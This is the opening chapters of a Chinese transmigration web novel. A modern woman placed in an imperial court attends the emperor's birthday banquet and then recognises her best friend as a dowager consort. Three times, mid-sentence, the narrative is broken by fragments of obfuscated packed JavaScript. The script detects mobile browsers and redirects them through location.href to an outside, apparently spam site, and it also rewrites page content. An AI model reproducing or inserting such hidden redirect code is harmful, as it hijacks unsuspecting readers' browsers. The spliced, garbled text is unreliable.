《有林千平》
1. 古代
八月底的夏天到底还是有些热了。
林千平侧坐在廊下,两腿伸直了平放在长座上,身子又软软地往栏杆上挂,像条被微波炉复热过的年糕一样。
看着水里的小红鱼穿梭在密布的水藻中试图寻找一丝庇护,林千平脑子里从“不是说小冰期吗怎么还有夏天?”一路滑到“北极熊现在日子挺不好过的吧…猎熊的是因纽特人吗?”中间还间或夹杂了些晚餐吃鱼还是吃酸汤面之类的朴实思考。
还没完全习惯视线左上角有个从图标网站扣下来的白色小灯泡,就像戴着什么AR眼镜一样,给这个精致的庭院风景增添了点中式RPG游戏的意味。
林千平盯着灯泡看了一会儿,眨巴两下眼睛,唤出个半透明的windows对话框。蓝色框红色叉,梦回2002年第一场雪的win7版对话框,毫无风格毫无未来感。
也不对,那叫什么来的,千禧风吧?林千平漫无边际地乱想着,又重新读了读框里的字:
你的任务:避免闻国百姓陷入战争
时限:一年
倒计时:279天8小时51分钟
没了,除了能眨眨眼关掉这屏幕,其他什么也没有。没有奖励、没有惩罚、没有装备、地图、npc好感度、背包、锦囊、技能狂…甚至连个签到领奖励的地方都没有。
游戏做成这个样子,用户体验不要了吗?游戏流水不要了吗?我氪点金给我传送回城行不行啊!林千平烦躁地把自己从栏杆上拔了下来,差点把手里端着盘子过来的冬葵吓进水池子里。
“小姐,上屋里坐吧,还凉快点呢。”
冬葵拿来的是碗陈皮绿豆沙,软烂绵密的豆沙里夹着增添口感用的整颗豆子,几朵干桂花飘在甜汤上,绿汪汪的,看了就让人口舌生津。
林千平接过冰凉的瓷碗,急忙送了一勺进嘴里,一边让绿豆抿烂在舌头上,一边冲冬葵笑笑:“没事,屋子里太闷了,我在这坐会儿。”
“噢。”
冬葵茫茫然点点头,拿着托盘又从廊下转出去了。
吃了半碗绿豆沙,总算驱散些热意。游戏的说法始终也只是个猜想,林千平不认为自己曾经呆过的那个世界能做出这样逼真的游戏,至少在她来到这儿之前不行。
这个世界太完整了,有合乎逻辑的科技水平和社会风貌,各种组织架构以及生活习惯都很像影视作品中所描绘的古代,只是有些地方更像许多朝代的杂糅体。
最重要的是这里的人,林千平观察过院子里的所有杂役,还有这副身体的父母兄长。也许真的可以单独为每一个角色制定生活轨迹、喜好、突发事件、人格和背景…但是他们看着家人的眼神呢?无意间流露出来的复杂情绪呢?只用表情和台词真的能表达出那些氛围吗?
她来这里快要三个月,多少也已经搞清楚了家庭背景和时事现状,但任务仍旧一点头绪都没有。
闻朝如今虽是国师代幼皇执政,可刚刚才打退一圈试图入侵的外族,资源丰富实力强悍,也没有要扩张的风声,哪里还有什么仗要打?
林千平思绪翻涌,放下手里的碗靠回栅栏上,又借着水面的倒影看看现在的这张脸。
尖脸上排着一副淡淡的五官,薄唇丹凤眼,嘴角长了个小痣。和上学时候的自己一模一样,就是肤色偏白了些,透着股养尊处优的细腻感。
这位林千平在这个时代是实打实的贵族阶级,吃穿用度都能看得出来比旁人更精致仔细,住的大宅即使是稍微偏点的院子放原来的世界里门票怎么也得卖50块一张。
宅子内建筑亭台错落,设计精良,在有限的空间里利用山石树木实打实做到了移步换景的效果。每种植物都按高矮长短、叶片形状的不同搭配在一起,每处院子又有一两个人工引来水源做成的大小水潭。
阳光恰当的时候,水面反射出的波纹会正好照在上方的树叶表面,配上落差处传来的潺潺水声,夏天即使是正下午,在这儿呆着也不算太燥热。
林千平刚来时总下意识想掏出手机拍些照片发给王清虞,好让她也能看看这奢侈又奇巧的美景。
这是林千平最好的朋友,明明大学才认识,两个人却能好得跟当了二十年的发小一样。还记得自己出现在这里之前,王清虞正在国外留学,时差加上双方生活忙碌,其实已经有快一个月没互相联络了。
她现在,在做什么呢?
林千平无所事事地搅着碗里剩下的绿豆沙,思绪七跑八拐地就发呆到了黄昏。
今天有晚霞,虽然从院子里只能看到一部分没被树叶遮挡的天空,但屋檐边透出来的橙黄接着深蓝的渐变色足以让人遐想起明天的好天气。
冬葵又踩着碎步走过来:“小姐,吃饭啦。”
“哎,来了。”林千平端着碗起身迎上她,捞起冬葵的胳膊说着小话就往饭厅去了。
一进屋门就能闻到八宝鸭的鲜香味,桌上早已摆好各色碗碟,挽着发髻戴着几个玉钗和金丝簪子的妇人正坐在圆凳上喝茶。
“母亲。”林千平跨过门槛,轻声呼唤道。
徐芝年闻声抬头,招招手让女儿亲亲挨挨地坐在自己身边。手上一边替她扶正衣领,又拂去裙摆上的碎叶子,嘴上一边在问:“做什么又在外头呆一下午?也不知道晒得慌。”林千平眨眨眼,干笑两声:“外边挺凉快的,还有风呢...”
正说着话,门外脚步咚咚地进来一人,袖子一甩坐倒在位置上,又深深大叹口气,好似生怕旁人听不见似的。
林千平没说话,好笑地和母亲交换了个眼神。这耍小脾气想要人关心的正是本朝太史司的太史令——林德允林大人。
林大人见无人询问,又皱着眉头叹了一回气。林千平觉得要是再没人理他,这顿饭他能一粒米都不进嘴,光叹气叹个痛快。正要张嘴说两句没滋没味的安慰话时,身旁又坐下来一人。
月白的袍子上搭着块南红玛瑙雕的花草玉佩,下边挂着簇土黄-色绳子编的流苏,腰带偏偏又是个葱绿色镶金边,绣着一溜五颜六色的繁复花纹。另一侧腰间挂着个蓝底银纹的荷包,配绳上还要再缀一溜小金珠。胡乱搭配的各种色彩把个好好的清俊公子打扮得像只极没品位的大垃圾桶。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228576|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>闻朝人如今的穿衣审美讲究素雅协调、在精不在花,林千平又出身于推崇简约美的现当代,因而这样小众的穿搭在这个家里只有长子林千枋最是满意。他见林千平盯着自己的玉佩看,也顾不上去理刚吵过架的林大人,开开心心地就和妹妹说起话来:“这块刚被我磕了个角,不好看,我房里还有块鸾鸟花样的,一会儿就给你拿来。”
林千平还没来得及摇头,林千枋就转回去夹了个腐皮包子放进她碗里:“快吃快吃,等会儿还有鲫鱼汤呢。”
林家长子聪慧机敏,处事圆滑又不失分寸,继承了母亲外向且擅长处理人际关系的性格。林大人官场上要维护的关系、逢年过节要送的礼、平时能做不能做的事情都被他打理得清爽利落。只是林德允虽然心里明白道理,但脾气上来了就是控制不住,下午才和林千枋吵了一架,死活不愿意销假复工。
倒也不是他想摸鱼偷懒,林大人平生最热爱的就是自己的工作。只是或许无论在哪个年代,醉心于钻研知识的人总会有些常人难以理解的固执。
研究星象制定历法是林大人最喜欢最自豪的事情,可国师代为执政后罔顾礼制、无视历法,甚至还当着太史司众人的面明里暗里地嘲讽这工作就是混吃混喝的无用功。这可把林大人气了个好歹,隔天就告病在家歇了快有一个多月。
林千枋下午又去劝他现在形势复杂,应该上朝多打听消息维护关系,好为将来打算。林大人提起这事就不痛快,歪胡子瞪眼地和他吵了一嘴,丢了个镇纸还把儿子的玉佩碰坏了。他自知理亏却又实在气不过,这会儿就干坐在位置上等着人来递台阶。
可惜家里最知道看眼色的林千平正在吃包子,又薄又透的豆腐皮包着竹笋香菇和鸡蛋,嚼起来满嘴油润的鸡油香味,吃了仨月还没吃腻,腾不出嘴来说话呀。
徐芝年摇摇头,夹了筷芹菜炒山药放进林大人碗里:“吃。”
只一个字就按对了林大人的开关,提起筷子便夹了八宝鸭回去:“夫人也吃。”
徐芝年又看眼林千枋,还在给妹妹挑蒜苔的手拐了个弯就把腊肉送到隔壁去了。“父亲您吃,儿子下午话说重了,但是吧...”
林德允摆摆手:“我知道,别但你那个是了。”林大人嘴里嚼嚼腊肉,又说:“等陛下生辰过了再说。”
小皇帝马上要过8岁诞辰,国师准备宴请百官,为陛下庆生。林德允怕自己御前失仪,准备让林千枋带着林千平去。
“我也能去?”林千平吃完一碗饭,正有一勺没一勺地啜着鱼汤。林千枋抢着答话:“陛下开恩,也让带家里人去呢,咱们一块儿去吃好吃的。”他已经在太史司工作,常进殿上朝,但也没尝过宫里的吃食。
听说隔壁礼官刘大人之前被留下来加班时用过宫膳,回来可是赞不绝口啊。
林千平点点头,对于这种能够接近权力中心的机会倒也没报太大期望。对任务有进展最好,不过即使收集不到什么重要的消息,开开眼界也成。真实生活环境下的皇宫啊,那得多漂亮呢?
花了两秒钟和自己商量好了,便又满意地吃起鱼来。
2. 古代
吃完饭,林千平还在犹豫着是回房间和冬葵她们玩牌还是在院子里先走走,就被徐芝年叫住了:“果果,进宫有礼数要学,明天去长平街找问兰嬷嬷。”
林千枋似是也想起了什么,高兴地凑上来说话:“还缺套正经衣裳吧,我来...”徐芝年赶紧掐灭他的灵感小火花:“你别来,铺子里早做了合规制的衣服,你有空就按时接送果果去。”
林千平也顾不上问到底是学什么礼,赶忙接着话茬点头:“嗯嗯,哥你得接送我,可忙了。”
于是林家首席时尚设计师林千枋先生只好遗憾退场。
问兰嬷嬷是专业的,服务优质上乘,教学严谨入微。从行礼说话到吃饭用筷,三天时间就给林千平重装了个宫廷礼仪版的全新系统。
林千平只感到不知不觉间知识就可耻地流入大脑,改造的手段比之前整整三个月的古代生活都管用,现在即使是在家吃饭不小心吃到葱蒜都只会嚼巴嚼巴咽下去……封建体制果然害人不浅啊!
还在奇怪怎么临到头了才开始填鸭教学,林千枋就带着做好的衣服和一堆首饰来打扮妹妹了。
一问才知道,小皇帝本不想大肆操办,只是国师有意缓和各方关系,面上说着为陛下考虑,实则压根没把他的意见放在眼里,在朝堂上用皇帝年幼的借口随便就敷衍了过去。
“陛下离开的时候只说,那让他们家里人也都来看看吧。也不知道是不是生着气说的。”林千枋一边指挥冬葵给林千平身上头上挂好各种金玉首饰,一边随口答道:“没事儿,有我在呢,三天随便学学管够了。”
林千平没接着搭话,站在铜镜前端详了一会儿这身打扮。首饰大约都是徐芝年挑过才拿来的,没什么跳脱的颜色和图案,搭配在一起倒也和谐。就是这数量...林千平强烈怀疑这是暴发户林千枋自作主张多拿了至少两套过来。
因而临到当天要出门的时候,林千平即使困得满脑子小蜜蜂飞啊飞的,也没忘了从身上脱下一层首饰皮肤摆回柜子里。林千枋恰巧忙着清点礼单检查车马去了,等见到林千平的时候已经赶不及时间,便只好放她上了车。
林千平才在马车里晕乎乎地眯了小一会儿,车速就逐渐慢下来,直至突然在什么地方停住。好不容易快被晃睡着,这一停又精神起来。她坐直身体伸手撩开帘子,从窗户伸出头去就看到红色的宫墙外排着五六辆马车,卸箱子的卸人的,热闹的样子也颇有几分喜庆的气氛。
冬葵唤了她一声,就也挪出马车下来。进了宫门就得步行了。
传言国师罔顾礼制,无视历法。林千平只觉得如果不是林大人假装路人散播谣言,那就是国师自有一套天边来的仪式安排。
一大帮人光是站在殿前就吹吹打打念念诵诵地热闹了一上午,和上学时候操场开大会的区别就是校长不会穿着颜色鲜艳的法师袍子跳舞给你看,以及不能说小话偶尔还得跪一会儿。
时代进步是多么重要的一件事啊!
林千平再次闭上眼睛假装自己只是风大迷了眼,心里头还按着拼音首字母排序挨个组词抒发抱怨。虽然总要聚在一起听人发言,但至少在台下偷偷骂校长不会被下大狱啊。
虽然当面骂也不会就是了。
还想着欣赏真实生活环境下的皇宫呢,可光殿外站着和游客倒也没多大区别。
观仪式其实不能抬头,且她站的位置是按林千枋的品阶来的,怎么伸长脖子看都是四环外远眺名胜古迹,国师和小皇帝就是一个彩一个黄俩像素点点,压根没什么好新鲜的。
快到晌午,林千平只觉得仿佛像是梦回青春期长身体时怎么也吃不饱的那种状态,满脑子除了什么时候吃饭就是下一顿些吃什么。早上随手拿的糕点丢进胃里就跟汽化了一样,她强烈怀疑现在随便提取点自己的胃液都能把整个城给融了。
忽地,身边的人群终于传出点人类该有的声音来,林千平赶紧睁开眼睛,生怕错过开席。
林千枋过来领着她往大殿里去,林千平像见了救星一样感激涕零地在后边跟着。
倒也不是夸张的修辞手法,林千枋在出门前还是给妹妹套上了点东西——厚棉布做的护膝。
林千平本来嫌热,但又困得睁不开眼没心思去摘,其实也没看清到底是什么东西就到仪式现场站着了。本来以为又是什么精妙的穿搭小技巧,跪下去的那一刻心里就只油然而生出“还得是牛马啊”的由衷感叹。
办筵席的主殿虽大,但要按两人一桌的标准摆下几百人的桌椅还是太拥挤。于是只在靠墙的两边排了矮几,每列之间还留了上菜的小道,这样坐得宽松的同时中间还能空出地方供人表演。
林千平对着矮几跪好,拿起位置上的支踵放在小腿之间就一屁-股坐了上去。这是种减轻跪坐时腿部不适的小坐具,如果不是上过礼仪课,她拿到这东西大概只会以为是什么新奇的餐具吧。
两人刚刚并排坐好,这边就有人送来茶水和点心。是散着香气的绿茶、两盘莲子和绿豆做的糕点,还有一小碗酸甜口味的冰酪。
林千平捧着冰酪吃得开心,不知道加的是什么梅子类的水果,伴着牛奶和碎冰一起进嘴,空腹到底能不能吃冰这种疑问已经不存在于现代人林千平的脑子里了,她现在是八星八剑如假包换的正宗闻朝人!
林千枋前后左右转着圈儿地寒暄了一圈,又把自己的冰酪推给正在大嚼糕点的妹妹,这才随着悠悠的丝竹声欣赏起节目来。
为表对皇帝生日的热烈庆祝,城里有名的戏班也以百姓祝寿的名头进了宫,表演的都是热闹的武打戏,或是内容新奇的精怪传说。
这家戏班子是都城里字号最老的一家,曲目丰富造型精致,时常也会下集市义演宣传,城里无论男女老少都能找到自己喜欢的剧目。尤其今天演出的节目,最受小孩子们欢迎。
林千平又吃完一碗冰酪,兴致勃勃地看起戏来。但饶是她自诩是见多识广的现代居民,这样精妙的戏剧也是头一回在现场看到。
特别是为了照顾到两边的观众,也为了突出对皇室表演的上心程度,他们将队形从面朝同一边改成了面朝四周的圆形,这样无论哪个方向看去都有演员的正面对着人,从高一些的位置上还能看到队形在不断变化。
林千平借着看戏,偷偷往上位处多瞟了几眼。
小皇帝单独坐在位置上,没什么太大动作,看起来好像情绪不高,几次看过去也没见他吃东西。左手边就是国
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228577|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师,只他和皇帝坐在高处,前朝留下的妃子们都聚在稍微下面的一层。
武戏翻篇,换造型特异的精怪戏上。这会儿菜也正上到肉食,浇汁牛肉、酱炖鸡、蒸鲥鱼,有面食也有香米饭,任吃管饱。
硬菜一来林千平就顾不上什么戏什么大小皇帝,这边尝两口鱼,那边又要拿汤水拌个饭。
上方传来骚动的时候,林千平刚吃好一顿自制的牛肉盖浇饭,正拿着在笋片汤漱口。喝着喝着听见旁边气氛不对一抬头,就只看到国师扔了酒杯离席而去。
场上几个靠得近的演者吓得脚步都乱了,但奏乐的乐师们大约坐在角落暗处,仍弹奏着欢快的曲调,演员们便也只好战战兢兢地继续接上表演。
待国师的身影彻底消失在众人视线里,乐曲下诡异的安静氛围才被忽地打破。
对面几个老头当即把脑袋凑到一块儿窃窃私语,整个大殿立时响起一阵嗡嗡的人声。林千平扭脸去看,这回倒能看见小皇帝似是正在鼓掌叫好。
国师这么一走,无论哪边的氛围好像都轻松了起来。
林千枋已经在和同僚们围着一张矮几喝酒谈天,周围也有人离席走动,或是去到殿外。林千平吃得肚圆,即使挺直了上半身也坐得难受,和林千枋使使眼色就捞了个路过的宫女表示自己要去方便。
在厕所晃了一圈出来,林千平就在殿外来回转悠着消食。
她站在离正门有点距离的拐角处,能看到稀稀拉拉地也有许多人离开大殿。
小宫女本来还陪着走两圈,发现只是在原地打转以后就默默挪去墙边低头站着待机。
林千平一边甩着手踱步慢走,一边饶有兴致地又打量起还未饱经风霜的漂亮建筑们,偶尔也从柱子间隙中看看往殿外走的人里有没有林千枋。
又转几圈,余光忽然掠过一个深蓝色的背影。
那人微微低着头,上半身老要往前冲一样倾斜着,脚步迈得不大,手臂却绷着股劲儿前后甩动。
林千平撇过时正好在转身,原本并没有多在意,等扭头站定了,才从心间忽然冒出一种强烈的预感。
那种感觉,不是眼睛清晰看到一样物体,大脑再仔细处理分析后的结果。
而是你的心先于理智一步认出对方,接着猛然窜动一下唤醒其他感官。脑袋这才接受到消息,全身从心脏跳动的颤-栗中得到滚烫的血液,前胸后背都晕晕乎乎发起热来:
是她吗?
林千平忽地就转头向前窜了几步,站在柱子边盯着那个远去的背影。那人身边有几个人簇拥着,还有打扮得更加精致的宫女陪在一旁。
小宫女正好跟了上来站在后边,林千平不敢移开眼睛,只偏头问她:“那穿深蓝衣服的是哪位夫人?”宫女抬头看了看,又低头答道:“回小姐的话,穿深蓝色的应是太妃们。再要说是哪位,奴眼拙,看不出来。”
大殿内,林千枋正应和着无聊的话题,不时注意着林千平有没有回来。
又喝了一杯酒,才看到神情恍惚的妹妹幽幽地坐回位置上。
林千枋见她表情木然,动作机械,担心她是误喝了烈酒,当下便站起身和有些醉意的同僚们作揖告别,忙带着妹妹回家去了。
3. 古代
匆匆坐上马车后,林千平仍然无法控制住纷乱的思绪,脑中飞快闪过无数个荒谬的推论。
左脑控制逻辑右脑控制情感;爱因斯坦在分析平行宇宙和全息游戏提取记忆的可能性;贾宝玉念经似的在一旁循环播放:“这个妹妹我曾见过的,这个妹妹我就是见过的…”;乌鸦到底为什么像写字台呢?那是因为煎饼果子里不能加巧克力……
许是发觉妹妹神色实在不对,林千枋跟着坐到车夫旁的位置上,时不时还要撩开帘子看看林千平状态如何。
却见她两腿岔开,上身前倾,双手撑在膝盖上大马金刀地坐着。不说话也不看风景,只低头紧盯地板,眨眼的频率不是完全为零,就是快得像在乱打闪电。
林千枋一看就冒一脑门子汗,连连催得车夫也以为出了什么顶大的坏事,慌慌张张把车驾得飞快。
都城的路虽是以青石板或砖块铺就的,但难免有破损和不平的地方。车又跑得太快,马蹄声配上车轮咯啷咯啷的噪音便盖过了林千平的喃喃自语。
好容易停稳在家门口,林千枋撩开帘子就钻进车厢,蹲下身试图看清林千平神色的时候才隐约听到她嘴里还在嘟嚷着什么。
林千枋浑身一激灵,寒毛立时就从脚后跟炸到了天灵盖:果果从小爱发癔症,最近才好了不到三个月,怎么今天出去一趟又严重了?难不成真是这皇家要克咱们?他眼里含泪地去抓林千平的胳膊,脑袋里大不敬的念头还没跑完一圈,伸出去的手就被打了回来。
林千平回过神时就看到便宜哥哥正蹲在自己面前,一脸马上要哭丧的倒霉模样。好看的眼睛里泪花转啊转啊要落不落的,平时总爱左翘右翘的嘴巴也向下抿着,又见他手伸来要抓什么,下意识就拍了回去:“你干嘛?喝多了?酒品这么差?”
林千枋还在心里默默决定要辞了官陪妹妹去寻遍名医,治得好最好治不好就从此相依为命青灯古佛……噢,佛被林千平拍走了。
还未答话,车厢外便传来乱七八糟的脚步声,原来是小厮和丫鬟拥着徐芝年过来了。林千平刚下马车,就被一脸凝重的徐芝年抓着摸了额头把了脉,看了舌苔掐了痧。
还好车夫是年资久的老手,知道事情不妙于是将车停在了侧门,这要是停在人来人往的大门口,明天就要有人满大街地议论林家果真大势已去了。
“娘,我没事,最多就是吃多了积食……”林千平清晰正确地回答了各种基本常识,走路稳当也不见发热,这才通过检查得以跟着母亲进家门。这要有一样不对劲的,立刻就得被扭送到东关城门口吕大夫那儿针灸伺-候一通才行。
林千枋擦擦脸上不知是汗还是泪的水渍,吸吸鼻子紧挨着妹妹要往里走。侧门小又只开了一半,过不下三个人,他就像护卫犬一样挤在前面开路去了。
今天皇上生日,朝廷百官白天基本都已进宫祝寿,林大人也不知是和谁谈的哪门子公事,这下才得了消息领着郎中急急忙忙回来。
林千平已经被围在中间听完自己从小到大总是突然失去意识、性格木讷呆愣、神情恍惚、走路飘悠的超长病史,并表示毫无印象,不可思议。
林千枋简单概括了今天发生的事,母子俩一致认为是早晨饿久了,午饭又暴饮暴食所导致的癔症短暂发作。
郎中来瞧了也只说是积食,其他倒一切正常。
尽管好像只是虚惊一场,林千平还是不得不喝了三天汤药,用以“稳固身体”。
家里几个大人也来探病得频繁,林千枋更是每天做完正事就跑她院子里说话。林千平只好教给他斗地主的玩法,输了的话今天都得闭嘴,不能再多说一句闲话。
可惜聪慧过人的林地主除了第一天惜败两场以外依然说了个痛快,林千平忿忿不平地把这归结于自己院里没一个队友是人变的。
第四天不玩牌了,林千枋终于小心翼翼地开口询问那天是不是发生了什么特别的事。
吃多积食的说法只是哄哄母亲的借口罢了,他看得出来当天林千平行动自如,跟着人走出宫门的那一长段路也没有多少异常。只是在车厢里一动不动面无表情地自言自语把他给吓到了而已。
林千平看看这个白得来的哥哥,平时在家里总是一副话痨笨蛋的样子,倒容易让人忘记他在外八面玲珑、机敏狡黠的作风。
眼前的人一副忐忑不已又害怕她遇到什么糟糕事的表情,林千平差点就要把自己的来头和心里盘旋已久的猜测说给他听。
临到头来终于还是控制住舌头咽了回去,转而问起太妃的事:“宫里的太妃们,不能出宫回家吗?”
林千枋没想到会得到这样的问题,出神思考了一会儿,才答道:“进了宫门,她们就已经没有家了。”
夜里,林千平躺在床上挨个数水饺,脑袋又不受控制地想起那天的事来。
只看到一个背影就叫她恍惚了好几天,跟着还闹得家里鸡飞狗跳的,实在是一个人在这极度陌生的环境里呆得太久了。
无论怎么忽视情绪、强行转移注意力,那些刻意被掩藏的东西总是要自己冲出来大肆喧闹。
连远远看见的模糊背影都能变成破溃的诱因,所有压抑的、沉重的思念和泪水就一起决堤,拦也拦不住。
再怎么觉得这里的家人好,我也不是闻朝的林千平啊。
隔天眼睛就肿成水饺了。
冬葵拿了鸡蛋给滚着消肿,将将好赶在林千枋来之前消灭证据。
今天似是不用上朝,就见他穿了件浅蓝色锦袍,又配个绣银线的淡黄-色腰带和大红色荷包,玉佩倒是换了,林千平打眼一瞧:哎哟,上好的帝王绿翡翠!
配色都懒得再提好不好看,这些锦面的料子都有点反光,一走起路来不光精神攻击你的审美,还要物理攻击你的眼睛。
林千平:好想把他一百块挂咸鱼上出给巴?世家。
林千枋坐下来,先仔细打量了一下妹妹的脸色,这才开口道:“果果,你上回问了太妃的事……”
似是担心她进宫又要出什么问题,但又想让妹妹找些感兴趣的事做,林千枋停顿一会儿才继续说:“你想不想,进宫看望承德太妃?”
林千平不记得自己是怎么回答的,想来总归也不过是几句潦草的应和罢了。她本已经平静的心又不受控制地狂跳起来,微弱的希冀被压在理智之下,却还能发出震耳欲聋的喊声来。
我们总愿意相信自己更渴望的那个可能性,而这欲望只会长久折磨着你,直到你亲眼见到它的真面目为止。
晚上难得降了温,林千平总算舒服地睡了个整觉。
她好像比其他人都怕热,其实过了立秋气温就开始有些变化,但林千平还总是觉得夏天没过,觉也睡不踏实。今天终于精神饱满神清气爽地起床,接着就神清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228578|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气爽地迟到了——客人早已经在茶房里坐着了。
昨天才答应的林千枋,今天能带她进宫的人就来做客。到底是他早就安排好,就算不想去也得去;还是他知道自己一定会同意呢?
林千平过去几个月只在茶馆酒楼或是街边听到些闲话,也曾找人帮忙打听。可传回的消息除了大家都知道的闻朝权力体系的基本信息,就是难辨真假的各式流言。
什么国师主张修建的宝塔不是祈福塔是镇妖塔,底下压了只为祸人间的大妖、什么皇帝其实是国师的孩子,而国师呢实际上又是下凡历劫的神仙……版本更新速度几乎三天一次,各种奇形怪状的故事她都要听遍了。偶尔问问林千枋最近是不是要打仗,他也只是奇怪地回答没有。
因而无论能不能再遇到那个相似的背影,进宫对现在的她来说都算是件能帮助任务推进的好事。
林千平急急走过长廊,脑袋里胡思乱想着,转过拐角到了茶房的窗边,正听到里面传来谈笑的声音。
说是房间,其实倒应该算是个亭子。建筑的四周不是墙壁,而是可整块拆卸的门板。这会儿正对着门口的对面一侧门板已被卸下,坐在房中就能完整看到院子里的景色。站在门边往里瞧,又似是亭中人和亭外景被框成了一幅雅致清新的画作。
这画里以矮茶桌为中心,一左一右的蒲团上面对面坐着两个人。左一人穿着身形制少见的蓝黑色袍子,头顶白玉发冠,盘腿坐着,脊背挺得笔直。闻声转过来的面庞棱角分明,眉飞入鬓,眼睛却是干净明亮的杏眼,给这张脸平添了几分幼嫩的少年感。
右一人长着轮廓流畅的鹅蛋脸,五官当中只一对眉眼格外突出地抓人视线。穿了身珠白色的裙子,身上没什么多余的首饰,只在头上插了枚黄玉素簪。明明全身气质温润清柔,看过来时倒教人无端觉得什么事都应该按她的意思来。
两人和身后绿意盎然的院子完成了一场声色齐全的艺术创作,可惜桌子中间落了林千枋这滴五彩斑斓的墨点。明明也生得一张好脸,怎么就爱穿点调色盘在身上呢?
林千平对着他无言地闭了闭眼,走进门干巴巴地行礼:“有事耽搁了一会儿,还请二位见谅。”
右边那位女子笑了笑没说什么其他话,只叫她快坐。林千枋跟着接上话头:“这是大伯家的汶水姐姐,承德太妃就是她的表姐。”林千平颔首,乖乖喊了姐姐。
林千枋又指指左边那人:“这是……”
话还没落地,就被个清爽的声音打断:“果果,还记得我吗?”林千平转头对上一双笑盈盈的眼睛,他这一笑更是显得那张脸愈发意气风发、光彩迷人……不对,朋友你谁啊?这是你能叫的小名吗?
“谁让你叫果果了?”林千枋难得心有灵犀地替妹妹说了心里话:“这是蒋家的二小子蒋易阳,汶水姐是他未来嫂嫂,他今天凑巧过来找我的。”
林千平不知道该怎么称呼他,点点头冒出一句:“你好,不记得了。”
蒋易阳:“……”
林千枋没再理他,继续和林汶水聊天。两人定好过两天进宫的时辰,又核对了些怎么汇合在哪汇合的行程细节。林千平偶尔跟着应和几句,倒就剩蒋易阳单在一旁插不上话。
他也没生气摆脸色,一手杵在桌上撑着脑袋看着林千平,另一手搭在膝上敲着手指。神情不算专注,眼神似是在思考,又似在打量。
4. 古代
林千平坐在马车里,念念有词地又过了一遍行礼流程,从起床开始的莫名焦躁感始终盘旋在心头。他们这会儿已经和林汶水的马车汇合,要一同行到宫门口再下车。
喝茶那天她才知道,汶水姐也已经很久没见过太妃了。这次如果不是国师意图安抚朝堂躁动的人心,特许女眷进宫探望,她们很可能此生都再也见不到面。
马车走过街角,高大的红色宫墙逐渐从远处像树林般长起,林千平看着那高耸的墙头,心情不再好奇或叹服,转而泛起一阵满胀的压抑感。
也不知道这座监狱的探视时间,能不能长一些。
上次进宫只在主殿前活动,这回要进后宫,走的路自然多了些。尽管是从最近的宫门进去的,但太妃们居住的宫殿仍是需要走上一段时间。
宫墙很高,挡住了大部分房屋,只除了一栋正在建设的建筑。
后宫一些宫殿没有那么高,偶尔就能隐约看到那座在建的宝塔,上面似乎还有人影走动。林千平悄悄扭脸瞥过四周的风景,余光匆匆扫过那半截高塔,乱七八糟地在心里猜测着它的作用。走了快十分钟,一行人终于到达福寿宫。
宫里住着两位太妃,林千平低头跟着走进东边一间厢房,规规矩矩行了礼,没待抬头便听见一阵瓷器碰撞的当啷声。短促的骚乱后,一个许久未闻的熟悉声音说道:“快起来坐吧。”
林千平立时发出一道短促而深沉的吸气声,又急忙闭紧嘴巴控制呼吸,神游般坐进椅子里。
她听过这声音大笑、骂人、聊八卦、哭着说不要出国……这把声线所传达出的各种情绪她都听过,听了6年。
悄悄深呼吸两回,这才把情绪上头时逼出来的泪花给憋了回去。旁边的林汶水已经介绍起来:“这是林太史家的林千平,聪明活泛,想着带她来给太妃娘娘解闷的。”
林千平整理好情绪,抬起头来看去:
王清虞就穿着宫服、梳着发髻,一副深宫娘娘的打扮坐在椅子上。
她看起来年纪大了一些,神色如常地保持着淡笑,眼神只略微扫过林千平的脸,就远远投向门口。
林千平听到自己的声音在说:“能为娘娘解闷,是千平的福气。”
不知为何,林汶水和太妃的关系似是并不那么亲密,来回聊了几轮家常就再没什么好说的。
有宫女来低声传了什么话,林汶水就借着她们说完的空档表示不再打扰太妃休息,准备离开。
林千平从头到尾只不咸不淡地搭了几句客套的吉祥话,她一直在不动声色地观察着这个长相几乎和王清虞一模一样的人。她举止端庄,表达流利,看不出来多少现代人的影子,仿佛真的只是借用了林千平的记忆创造出来的游戏人物一样。
但不知是不是错觉,总觉得她的目光在刻意绕过自己。看门看帘看茶碗,就是看不到林千平。
这种感觉太过怪异,怀疑的思绪不停在林千平脑中游走。既希望这个太妃是曾经认识的那个王清虞,又不那么希望她是。一边为某种荒谬的可能性心如打鼓,一边又强迫急促呼吸的自己冷静一点。
就这样脚步虚浮地走到厢房门口,忽然听见一声猫叫,跟着是些脚步声,最后那把耳熟的声音说道:“面包,快过来……花卷上哪儿去了?”
